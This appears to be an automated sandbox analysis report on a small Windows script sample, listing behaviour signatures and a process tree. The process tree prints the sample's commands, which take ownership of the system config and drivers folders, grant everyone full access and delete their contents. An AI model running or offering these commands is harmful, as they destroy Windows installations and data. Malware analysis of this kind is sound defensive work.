Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/08/2024, 21:30

General

  • Target
    script.wsf
  • Size 2KB
  • Sample240815-1chybazemk
  • SHA256 92a5545652c35328d20dc8bb70348ebda3b1eb49b1c0f111976ab3912de1801a
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Possible privilege escalation attempt 4 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf thescript.vbs && start thescript.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2856
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5056
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3152
        • C:\Windows\system32\takeown.exe
          takeown /f c:\windows\system32\config\*
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3948
        • C:\Windows\system32\icacls.exe
          icacls c:\windows\system32\config\* /grant everyone:(f)
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3188
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4652
        • C:\Windows\system32\takeown.exe
          takeown /f c:\windows\system32\drivers\*
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:3512
        • C:\Windows\system32\icacls.exe
          icacls c:\windows\system32\drivers\* /grant everyone:(f)
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3468

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        thescript.vbs

        • Path C:\Users\Admin\AppData\Local\Temp\thescript.vbs
        • Size 2KB
        • SHA256 92a5545652c35328d20dc8bb70348ebda3b1eb49b1c0f111976ab3912de1801a
        • MD5 SHA1 SHA512